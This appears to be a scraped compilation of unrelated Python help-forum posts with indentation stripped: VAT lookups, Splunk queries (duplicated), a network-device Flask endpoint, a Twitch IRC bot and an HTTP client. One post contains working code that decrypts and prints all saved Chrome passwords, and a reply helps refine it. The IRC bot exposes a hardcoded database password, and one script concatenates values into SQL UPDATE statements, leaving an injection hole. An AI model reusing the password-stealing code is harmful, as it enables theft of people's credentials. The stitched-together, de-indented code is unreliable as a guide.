I`m newbee in python. I have try for days with no luck:(.
The respsonse working good when the name and adress are on the soap server. But some times the adress is --- on the soap server. How can I make --- response to None?
in my soap.py
import logging
from suds.client import Client
logging.getLogger('suds.client').setLevel(logging.DEBUG)
from urllib import getproxies
def return_address( country_code, vat_number):
if country_code == None and vat_number == None:
return None
VIES_URL = "http://ec.europa.eu/taxation_customs/vies/checkVatSeice.wsdl"
client = Client(VIES_URL, proxy=getproxies())
response = client.service.checkVat(countryCode= country_code, vatNumber= vat_number)
return response
if __name__== '__main__':
address_returned = return_address( None, None)#
print address_returned
#innan if not "address_returned:
if not address_returned:
print address_returned['name']
print address_returned['address']
And
# -*- coding: UTF-8 -*-
import pymysql.cursors
import sys
import re
import os
from PIL import Image
import base64
import cStringIO
from soap import return_address
if __name__== '__main__':
#
dsn_database = "
dsn_hostname = "localhost"
dsn_port =
dsn_uid =
dsn_pwd =
#dsn_charset='utf8'
conn = pymysql.connect(host=dsn_hostname, user=dsn_uid, passwd=dsn_pwd, db=dsn_database, charset='utf8', use_unicode=True)
cursor=conn.cursor()
cursor.execute("SELECT `uid`, `vat_number`, `country` FROM test")
rows = cursor.fetchall()
num_IDs = len( rows)
cursor.execute("SELECT `uid`, `vat_number`, `company_adress`, `country`, `company_name` FROM oldcompany ")
rows2 = cursor.fetchall()
print rows2
for i in range (num_IDs):
uID = str(rows[i][0])
vat_number = str(rows[i][1])
country_code = str(rows[i][2])
print "check: "
vat_number = vat_number.strip()
country_code = country_code.strip()
response = None
valid = False
if country_code != 'None' and vat_number != 'None':
print 'going to viet for: ', vat_number, country_code
response = return_address( country_code, vat_number)
if response:
valid = response['valid']
company_name = "test" #None
address = "test"
#address1 = response['address']
#############################################################################################
company_name = response['name']
if response and valid and country_code != '--':
#print 'response: '
print 'response: ', response['name'], response['address']
company_name = response['name']
address = response['address']
else:
breaker = 0
print "FOUND: ", address, company_name
print 'IN ELSE'
for j in range(len(rows2)):
vat2 = str(rows2[j][1])
if vat_number == vat2: # match is there
address = str(rows2[j][2])
company_name = str(rows2[j][4])
breaker = 1
#s.encode('utf-8')
print "FOUND: ", vat2, address, company_name
if breaker == 1:
break
#### UPDATE
#print 'before update: ', address, company_name
cursor.execute("UPDATE test SET company_adress = %s , company_name=%s WHERE uid = '" + uID +"'", ( address, company_name))
cursor.execute("UPDATE oldcompany SET company_adress = %s , company_name=%s WHERE vat_number = '" + vat_number +"'", ( address, company_name))
conn.commit()
cursor.execute("SELECT uid, invoice_nr, company_name, company_adress FROM test ")
print("query after commit:")
print(cursor.fetchall())
Related
Trying to run below code it executes but I do not get the correct value any help is appreciated expecting single value like 492. Code runs but does not give the correct value. Tried splunk library but unable to use those.
import urllib
import httplib2 #import library
import json
import pprint
import time
import re
from xml.dom import minidom
searchquery = 'search index="movable_in" sourcetype="movable:in:assets" | stats avg(exposure_score)'
myhttp = httplib2.Http()
baseurl = 'https://xxxx.splunkxxx.com:8089'
usernamesp = 'xxxx'
passwordsp = 'xxxx'
def get_splunk_result(searchquery):
# Step 1: Get a session key
servercontent = myhttp.request(f'{baseurl}/services/auth/login', 'POST', headers={},
body=urllib.parse.urlencode({'username': usernamesp, 'password': passwordsp}))[1]
sessionkey = minidom.parseString(servercontent).getElementsByTagName('sessionKey')[0].childNodes[0].nodeValue
# print ("====>sessionkey: %s <====" % sessionkey)
sid = ''
# ------------------
if not searchquery.startswith('search'):
searchquery = f'search {searchquery}'
# Step 2: Get a sid with the search query
i = 0
while True:
time.sleep(1)
try:
searchjob = myhttp.request(f'{baseurl}/services/search/jobs', 'POST',
headers={F'Authorization': F'Splunk %s' % sessionkey},
body=urllib.parse.urlencode({'search': searchquery}))[1]
sid = minidom.parseString(searchjob).getElementsByTagName('sid')[0].childNodes[0].nodeValue
break
except:
i = i + 1
# print(i)
if (i > 30): break
# print("====>SID: %s <====" % sid)
# Step 3: Get search status
myhttp.add_credentials(usernamesp, passwordsp)
servicessearchstatusstr = '/services/search/jobs/%s/' % sid
isnotdone = True
while isnotdone:
searchstatus = myhttp.request(f'{baseurl}{servicessearchstatusstr}', 'GET')[1]
isdonestatus = re.compile('isDone">(0|1)')
strstatus = str(searchstatus)
isdonestatus = isdonestatus.search(strstatus).groups()[0]
if (isdonestatus == '1'):
isnotdone = False
# Step 4: Get the search result
services_search_results_str = '/services/search/jobs/%s/results?output_mode=json_rows&count=0' % sid
searchresults = myhttp.request(f'{baseurl}{services_search_results_str}', 'GET')[1]
searchresults = json.loads(searchresults)
# searchresults = splunk_result(searchresults)
return searchresults
output = get_splunk_result(searchquery)
print(output)
import urllib
import httplib2 #import library
import json
import pprint
import time
import re
from xml.dom import minidom
searchquery = 'search index="movable_in" sourcetype="movable:in:assets" | stats avg(exposure_score)'
myhttp = httplib2.Http()
baseurl = 'https://xxxx.splunkxxx.com:8089'
usernamesp = 'xxxx'
passwordsp = 'xxxx'
def get_splunk_result(searchquery):
# Step 1: Get a session key
servercontent = myhttp.request(f'{baseurl}/services/auth/login', 'POST', headers={},
body=urllib.parse.urlencode({'username': usernamesp, 'password': passwordsp}))[1]
sessionkey = minidom.parseString(servercontent).getElementsByTagName('sessionKey')[0].childNodes[0].nodeValue
# print ("====>sessionkey: %s <====" % sessionkey)
sid = ''
# ------------------
if not searchquery.startswith('search'):
searchquery = f'search {searchquery}'
# Step 2: Get a sid with the search query
i = 0
while True:
time.sleep(1)
try:
searchjob = myhttp.request(f'{baseurl}/services/search/jobs', 'POST',
headers={F'Authorization': F'Splunk %s' % sessionkey},
body=urllib.parse.urlencode({'search': searchquery}))[1]
sid = minidom.parseString(searchjob).getElementsByTagName('sid')[0].childNodes[0].nodeValue
break
except:
i = i + 1
# print(i)
if (i > 30): break
# print("====>SID: %s <====" % sid)
# Step 3: Get search status
myhttp.add_credentials(usernamesp, passwordsp)
servicessearchstatusstr = '/services/search/jobs/%s/' % sid
isnotdone = True
while isnotdone:
searchstatus = myhttp.request(f'{baseurl}{servicessearchstatusstr}', 'GET')[1]
isdonestatus = re.compile('isDone">(0|1)')
strstatus = str(searchstatus)
isdonestatus = isdonestatus.search(strstatus).groups()[0]
if (isdonestatus == '1'):
isnotdone = False
# Step 4: Get the search result
services_search_results_str = '/services/search/jobs/%s/results?output_mode=json_rows&count=0' % sid
searchresults = myhttp.request(f'{baseurl}{services_search_results_str}', 'GET')[1]
searchresults = json.loads(searchresults)
# searchresults = splunk_result(searchresults)
return searchresults
output = get_splunk_result(searchquery)
print(output)
Hello Im new at python and i want remove junk prints in my code (I have indicated the problem in the picture.):
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
#ChromeDecoder
print("--------------------| Google Chrome |--------------------")
def get_master_key():
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local
State', "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
return decrypted_pass
except Exception as e:
# print("Probably saved password from Chrome version older than v80\n")
# print(str(e))
return "Chrome < 80"
if __name__ == '__main__':
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User
Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked
while Chrome is running
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
print("[+] Password Found !!!" + "\n" +"URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
Its works but i have a problem:
enter image description here
I see so much spaces and how i can remove them?
Also is there a way to count found passwords in this format?
print("[+] 100 passwords have been found.")
Sorry for bad English... Thank you.
You can check for empty str also f"text {variable}" is much better for reading.If you want check other values just ad and var != ""
if url != "":
print(f"[+] Password Found !!!\nURL: {url}\nUser Name: {username}\nPassword: {decrypted_password}\n")
2:
before for loop ad count=0
and in loop into if url != "": ad
count += 1
I have code that logs into devices. I can print the inform from the devices in the loop just fine. But i can only return "not print" the data from the last device in the list. How can i return all data from all devices on the loop ?
From flask import Flask, jsonify, request
import netmiko
from netmiko.ssh_autodetect import SSHDetect
from netmiko.ssh_exception import NetMikoTimeoutException
import time
'app = Flask(name)
#app.route('/firewall', methods=['GET','POST', 'DELETE'])
def firewall():
# Authentication
headers = request.headers
auth = headers.get("xxxxx")
if auth == 'xxxx':
data = request.get_json(force=True)
fw_a = data["DeviceAddressList"]
src_a = data['SourceAddressList']
src_p = data['SourcePortList']
dst_a = data['DestinationAddressList']
dst_p = data['DestinationPortList']
policy = data["PolicyAllow"]
p_col = data['Protocol']
p_show = data['show']
p_push = data['push']
config = data['config']
# Juniper Normalize the data for command line interface
juniper_command = '"({})"'.format('|'.join(src_a + src_p + dst_a + dst_p))
username = "xxxx"
password = "Pxxxx"
try:
ip_list = fw_a
for ip in ip_list:
#print(ip)
device = {"device_type": "autodetect", "username": username, "host": ip, "password": password}
guesser = SSHDetect(**device)
best_match = guesser.autodetect()
print(best_match)
if "None" in str(best_match):
continue
#else:
if "true" in str(p_show) and "juniper_junos" in str(best_match):
device["device_type"] = best_match
connection = netmiko.ConnectHandler(**device,)
connection.find_prompt(delay_factor=2)
time.sleep(1)
connection.enable()
resp = connection.send_command(
'show configuration | display xml | match ' + str(juniper_command), delay_factor=2)
print(ip + '\n' + best_match + resp)
if "true" in str(p_push) and "juniper_junos" in str(best_match):
device["device_type"] = best_match
connection = netmiko.ConnectHandler(**device)
connection.find_prompt(delay_factor=2)
time.sleep(1)
connection.enable()
push_resp = connection.send_command(config, delay_factor=2)
connection.disconnect()
print(push_resp)
return ip + '\n' + best_match + resp
except NetMikoTimeoutException:
return "This Network Device is not reachable"
else:
return jsonify({"message": "ERROR: Unauthorized"}), 401
Blockquote
Code example: Loop over the ips, get the value you want to return for each ip and push it into a dict. Return the dict to the caller of the function 'firewall'
def firewall():
result = dict()
for ip in ip_list:
push_resp = dummy_get_push_resp()
result[ip] = push_resp
return result
I'm currently codiing a simple IRC moderator/utility bot. I plan to have a web interface that will easily update command data and whether or not the command is enable using a MySQL database to store most of the information. It is able to connect to the database and retrieve the data correctly. However after I change a value in the database it does not update. I have tried to use .close() and .commit() or enabling auto commit (even though im not changing anything in the database) as solutions from others who have had this problem before.
import socket
import StringIO
import MySQLdb
ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = "irc.twitch.tv"
channel = "#jusjoe99"
botName = "N0tABot"
oauth = ""
twitter = {"msg": "Check me out on me out on my Twitter to stay up to date and see when ill be live next! twitter.com/jusjoe99", "enabled": True}
youtube = {"msg": "Check me out on me out on the YouTubes, I dint post much but I plan to eventually doing some vids! youtube.com/jusjoe99", "enabled": True}
game = {"msg": "", "enabled":False}
resourcePack = {"msg":"", "enabled":False}
data = []
db = MySQLdb.connect(host = "localhost",user="myBot",passwd = "wHZ4VCWe2jaYxH9y",db = "mybot")
db.autocommit(True)
cursor = db.cursor()
cursor.execute("SELECT * FROM commands")
data = cursor.fetchall()
db.commit()
cursor.close()
db.close()
def MySQL():
db = MySQLdb.connect(host = "localhost",user="myBot",passwd = "wHZ4VCWe2jaYxH9y",db = "mybot")
cursor = db.cursor()
cursor.execute("SELECT * FROM commands")
data = cursor.fetchall()
db.commit()
cursor.close()
db.close()
def ping():
ircsock.send("PONG : Pong\n")
def joinChannel(chan):
ircsock.send("JOIN " + chan +"\n")
def sendMessage(chan, msg):
ircsock.send("PRIVMSG " + chan + " :" + msg + "\n")
def hello():
ircsock.send("PRIVMSG " + channel + " :Hello\n")
def start():
ircsock.connect((server, 6667))
ircsock.send("PASS " + oauth + "\r\n")
ircsock.send("USER "+ botName + botName + botName + "\r\n")
ircsock.send("NICK " + botName + "\r\n")
joinChannel(channel)
updateValues()
def getSong():
song = open("cur_song.txt","r")
cursong = song.read()
ircsock.send("PRIVMSG " + channel + " :" + "The Current song is: " + cursong + "\n")
song.close()
def updateValues():
MySQL()
checkTwitter()
checkYouTube()
checkGame()
checkResourcePack()
def checkTwitter():
twit = data[2]
print twit[1]
twitter["enabled"] = twit[1]
def checkGame():
gme = data[0]
game["msg"] = gme[2]
if gme[1] == 0:
game["enabled"] = False
else:
game["enabled"] = True
def checkResourcePack():
rp = data[1]
resourcePack["msg"] = rp[2]
if rp[1] == 0:
resourcePack["enabled"] = False
else:
resourcePack["enabled"] = True
def checkYouTube():
ytube = data[3]
if ytube[1] == 0:
youtube["enabled"] = True
else:
youtube["enabled"] = False
start()
while 1:
ircmsg = ircsock.recv(2048)
ircmsg = ircmsg.strip('\n\r')
print ircmsg
updateValues()
if ircmsg.find(":!song") !=-1:
getSong()
if ircmsg.find(":!twitter") !=-1 and twitter["enabled"]:
sendMessage(channel, twitter["msg"])
if ircmsg.find("PING :") != -1:
ping()
if ircmsg.find(":!youtube") !=-1 and youtube["enabled"]:
sendMessage(channel, youtube["msg"])
if ircmsg.find("!tp") !=-1 and resourcePack["enabled"]:
sendMessage(channel, resourcePack["msg"])
Thank you for your help!(And i am sorry for the messiness of my code)
I have written a simple class using urllib and urllib2 to send http requests and get the response. However, any request to localhost using its IP Address is very slow.
IP Address of LOCALHOST is = 192.168.158.27
import urllib2,urllib,re,datetime,time
class HTTPRequest():
def __init__(self,**kargs):
self._response = None
self._buffer = None
self._conn = urllib2.build_opener(urllib2.HTTPCookieProcessor())
urllib2.install_opener(self._conn)
def _encode_url(self,**kargs):
try:
params = urllib.urlencode(kargs)
except:
raise HTTPError("Failed to encode URL parameters..")
return str(params)
def _request(self,url=None,params=None):
try:
self._buffer = self._conn.open(url,params)
self._response = self._buffer.read()
except ValueError:
raise HTTPError("Invalid URL %s" % url)
except:
raise HTTPError("Failed to send HTTP(s) Request")
return str(self._response)
class HTTPError(Exception):
pass
PARAM_PASSWORD = 'password'
PARAM_USER = 'userName'
PARAM_ACTION = 'a'
PARAM_RID = 'rid'
PARAM_XO = 'xo'
PARAM_START_TIME = 't1'
PARAM_END_TIME = 't2'
PARAM_PATH = 'path'
BOOLEAN_TRUE = 'true'
BOOLEAN_FALSE = 'false'
ACTION_SIGNIN = 'signIn'
ACTION_SEARCH = 'search'
ACTION_GET_NEXT_RESULTS = 'getNextResults'
STATUS_SUCCEEDED = 'succeeded'
DEFAULT_WAIT = 5
host = "192.168.158.27"
user = "admin"
password = "admin"
protocol = "https"
port = 8443
query = "vm[=name rx (?i) *]&[#cpuUsage rx b .+][#cpuUsagemhz rx b .+]"
start_time = "10/05/2013 16:16:00"
end_time = "10/05/2013 17:16:00"
base_url = "%s://%s:%d" % (protocol,host,port)
login_url = "%s/user" % base_url
http = HTTPRequest()
attributes = {PARAM_PASSWORD : password,
PARAM_USER : user,
PARAM_ACTION : ACTION_SIGNIN,
PARAM_RID : 1000,
PARAM_XO : BOOLEAN_TRUE}
params = http._encode_url(**attributes)
if not http._request(login_url,params):
print "Login Failed.."
else:
print "Login Successful.. \n"
rid = 1000
search_url = "%s/Search" % base_url
status = STATUS_SUCCEEDED
hasMoreData = BOOLEAN_TRUE
completed = BOOLEAN_FALSE
total = 0
processed = 1
responseContent = ""
xml_dict = {}
_response = ""
attributes = {PARAM_START_TIME : start_time,
PARAM_END_TIME : end_time,
PARAM_ACTION : ACTION_SEARCH,
PARAM_RID : rid,
PARAM_PATH : query}
print "URL PARAMETERS :"
print "\tBase url = %s" % base_url
for param in attributes:
print "\t%s = %s" % (param,attributes[param])
#Query Execution Start Time
start = datetime.datetime.now()
while True:
params = http._encode_url(**attributes)
if hasMoreData == BOOLEAN_TRUE:
#Delay 10ms
time.sleep(10/1000)
#Send HTTP Request
response = http._request(search_url,params)
pattern = re.match(".*?hasMoreData=\"(.*?)\".*?",response)
if pattern:
hasMoreData = pattern.group(1)
pattern = re.match(".*?status=\"(.*?)\".*?",response)
if pattern:
status = pattern.group(1)
pattern = re.match(".*?completed=\"(.*?)\".*?",response)
if pattern:
completed = pattern.group(1)
pattern = re.match(".*?processed=\"(.*?)\".*?",response)
if pattern:
processed = pattern.group(1)
pattern = re.match(".*?total=\"(.*?)\".*?",response)
if pattern:
total = pattern.group(1)
pattern = re.match(".*?matched=\"(.*?)\".*?",response)
if pattern:
matched = pattern.group(1)
attributes = {PARAM_ACTION : ACTION_GET_NEXT_RESULTS,
PARAM_RID : rid}
if matched != "0":
response = re.sub(r'\n',"",response)
matchObj = re.search(r'(<Resource.*</Resource>)',response)
resp_match = ""
if matchObj:
resp_match = matchObj.group(1)
responseContent = str(responseContent) + str(resp_match)
else:
#Query Execution Completed
#Query Execution End Time
end = datetime.datetime.now()
print "RESULTS : "
print "\tStatus = %s"%status
print "\tHas More Data = %s"%hasMoreData
print "\tCompleted = %s"%completed
print "\tProcessed = %s"%processed
print "\tTotal = %s"%total
print "\tMatched = %s"%matched
print "\nQuery Execution Started : %s" % start
print "Query Execution Ended : %s\n" % end
if total != processed:
err = "The number records processed did not match"
err += " with the number of records completed."
print err
if not status == STATUS_SUCCEEDED:
err = "The responce status is not 'succeeded'"
print err
if completed == BOOLEAN_FALSE:
err = "The repsponse is completed. "
err += "However, the flag is set to 'False'"
print err
break
Instead of your local network IP, try using 127.0.0.1 instead.